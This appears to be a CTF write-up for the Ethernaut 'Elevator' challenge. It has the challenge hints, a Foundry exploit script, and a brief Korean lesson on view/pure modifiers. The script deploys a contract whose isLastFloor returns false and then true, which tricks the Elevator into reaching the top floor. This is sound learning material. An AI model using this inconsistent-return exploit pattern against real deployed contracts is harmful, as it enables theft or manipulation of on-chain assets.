This elevator won't let you reach the top of your building. Right?
Things that might help:
Sometimes solidity is not good at keeping promises.
This Elevator expects to be used from a Building.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../src/Elevator.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";
contract MyBuilding {
bool private mySwitch;
Elevator public elevatorInstance = Elevator(0xBA9D08Ba8c539CD2D64Ec48ae0cc2B8f4e060f04);
function startAttack() external {
elevatorInstance.goTo(0);
}
function isLastFloor(uint _floor) external returns (bool) {
if(!mySwitch){
mySwitch = true;
return false;
} else {
return true;
}
}
}
contract ElevatorSolution is Script {
function run() external {
vm.startBroadcast(vm.envUint("user_private_key"));
MyBuilding myBuilding = new MyBuilding();
myBuilding.startAttack();
vm.stopBroadcast();
}
}
알아야 할 점 : 데이터가 변하는게 싫으면 view나 pure로 선언해라